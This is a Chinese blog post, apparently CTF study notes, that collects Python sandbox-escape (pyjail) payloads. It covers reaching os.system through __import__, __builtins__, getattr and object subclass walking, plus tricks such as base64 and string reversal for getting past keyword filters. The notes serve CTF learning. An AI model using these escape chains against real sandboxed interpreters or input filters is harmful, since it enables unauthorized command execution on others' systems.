python沙盒逃逸

前言

最近遇到了很多python沙盒逃逸的题目（不知道是不是因为现在python搭的站多了……），实际使用时发现只会复制别人的payload是不够用的，于是自己来总结一波（顺带一提python沙盒逃逸的英文似乎是pyjail……）

姿势

os

import os
os.system('dir')
os.popen('dir').read()

platform

import platform
platform.popen('dir').read()
platform.os.system('dir')

timeit

import timeit
timeit.timeit("__import__('os').system('dir')")

__import__

__import__的作用就是导入一个包，和import的功能相同

__import__('os')
__import__('os').system('dir')

import os
os.system('dir')

__builtins__

__builtins__指的是python的内置函数（即预定义函数）

dir(__builtins__)，可以看到支持很多种函数（如open）,所以可以使用

__builtins__.open()

来打开文件，读文件就可以靠file类的read方法了

__builtins__.open('1.txt').read()

__dict__

__dict__,以字典形式储存类的方法和属性

__builtins__.__dict__['__import__']

sys

有些时候会将重要包的路径从sys.modules中移除，这时就要

import sys
sys.modules['os']='/usr/lib/python2.7/os.py'

重新定义一下os的路径

getattr和__getattribute__和__getitem__

如果将方法关键字过滤掉，直接用.来使用方法就不能成功，这时需要使用getattr()函数和__getattribute__方法,或者__getitem__取得字典中的某种方法

getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')

reload

有时候会将__builtins__中的一些方法移出这时只要reload一下即可

但Python 3.0把reload内置函数移到了imp标准库模块中

reload(__builtins__)

object类

因为object类存在__subclass__方法，可以获得所有的子类（其中包括file类，所以可以读取文件），获得object类的方式

().__class__.__bases__[0] #__bases__显示上一个继承的类
''.__class__.__mro__[2] #__mro__显示类的继承关系
''.__class__.__bases__[0].__bases__

读文件：
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()

globals(),local(),vars()

当前的符号表（其中存在__builtins__）

奇妙的warnings.WarningMessage类

warnings.WarningMessage类在object类的第60个子类，直接放payload吧（自己也没怎么懂……）

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__

绕过过滤

有时候会对关键字进行过滤可以使用不同编码来过滤,但只能在以字典形式调用方法时才能使用

'X19pbXBvcnRfXw=='.decode('base64')  => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi')
dir()[0] => '_'

结语

方法:

1. 找到文件类
2. 找到读取文件的方法
3. 找到os

其他的都是绕过过滤吧……